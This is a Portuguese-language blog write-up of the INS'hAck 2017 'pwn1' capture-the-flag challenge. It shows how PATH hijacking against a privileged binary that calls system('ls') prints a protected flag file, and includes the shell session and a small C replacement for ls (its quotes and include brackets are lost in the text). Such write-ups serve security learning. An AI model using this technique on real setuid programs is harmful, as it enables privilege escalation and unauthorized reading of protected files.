[ Inicio ] [ Hacking ] [ CTFs ] [ Rant ]
.:: Brenn0 Weblog ::.

Título : PWN1 - Explorando system() call [INS'hAck 2017] Write-up
Autor : brennords
Data : 18/04/2017
            

O Ins’hAck foi um ctf online que ocorreu do dia 6 de abril ao dia 9. Teve uns desafios bem interessantes e foi bem organizado pelo time InSecurity.

Este write-up é referente ao primeiro nível de pwn e foi simples caso você já soubesse o caminho. Mas, sendo o noob que sou, demorei um pouco para sacar onde estava a falha e quando resolvi o chall fiquei feliz em ter aprendido algo novo.

A descrição era a seguinte:

My shower won't give me warm water :/ maybe it's an hacker? :o Could you help me? ssh you_ssh_user@pwn1.ctf.insecurity-insa.fr Note: Please see your profile to know you SSH creds.

Que em português seria:

Meu chuveiro não quer me dar água quente :/ talvez seja um hacker? :0 Você pode ajudar?

E logo abaixo as instruções para conectar ao ssh do ctf que ficou offline desde o fim da competição.

Mas não se desespere. Ainda é possível tentar resolver pegando neste link uma cópia do desafio.

Dentro do arquivo zipado há um elf executável chamado lseasy acompanhado do seu código fonte vuln.c. Estes dois arquivos podiam ser encontrados dentro do servidor junto com o arquivo flag.txt. Obviamente este arquivo não tinha permissões de leitura para meu usuário atual, mas podia ser lido pelo usuário que lseasy rodava. É o tipo de coisa padrão nesses desafios xpl/pwn. O objetivo é explorar o desafio e seus privilégios para, de alguma forma, ler o arquivo da flag.

Ao se executar o binário pela primeira vez, se percebe que ele apenas lista os arquivos do diretório atual. Uma olhada no código fonte confirma que essa é sua única função:

Não há muito o que explicar. Perdi tempo tentando variadas maneiras ler a flag. Logo estava lendo a manpage da função system. Parecia ser a única coisa restante a ser explorada. Na seção de notas encontrei um aviso que dizia para não usa-la em programas SUID porque valores das variáveis de ambiente podiam ser usados para subverter o sistema. Ok, é exatamente o objetivo. Mas a nota não dizia como fazer isso.

Pesquisei por “exploit system call” no google e encontrei um tutorial mastigado de como explorar um programa de exemplo exatamente igual ao do chall.

O segredo é que system vai procurar pelo binário nos caminhos contidos na variável de sistema PATH. E, como nada impede a alteração desta variável, é possível adicionar um caminho arbitrário.

brenno@budweiser:~/Docs/ctf/inshack2017/pwn1$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
brenno@budweiser:~/Docs/ctf/inshack2017/pwn1$ PATH=$HOME/Docs/ctf/inshack2017/pwn1:$PATH
brenno@budweiser:~/Docs/ctf/inshack2017/pwn1$ echo $PATH
/home/brenno/Docs/ctf/inshack2017/pwn1:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games

O primeiro comando printa minha variável PATH atual, no segundo eu adiciono o caminho “$HOME/Docs/ctf/inshack2017/pwn1” no ínicio da varíavel de sistema e o terceiro printa o conteúdo alterado.

Agora, sempre que system for procurar o binário de ls, vai olhar primeiro dentro de “$HOME/Docs/ctf/inshack2017/pwn1”. E é onde criei um ls mais coerente com meu objetivo.

brenno@budweiser:~/Docs/ctf/inshack2017/pwn1$ cat ls.c
#include stdio.h

int main() {
system(cat flag.txt);
return 0;
}
^C
brenno@budweiser:~/Docs/ctf/inshack2017/pwn1$ gcc ls.c -o ls
brenno@budweiser:~/Docs/ctf/inshack2017/pwn1$ ./lseasy
The content of the current folder is :
INSA{SySt3m_1s_3v1l_-}
brenno@budweiser:~/Docs/ctf/inshack2017/pwn1$

Na primeira parte criei um simples programa em C usando a mesma função system para executar o comando cat flag.txt. Então o compilei dando o nome de ls e, ao executar o binário lseasy pode-se ver que ao invés de imprimir o conteúdo da pasta, ele imprime o conteúdo de flag.txt.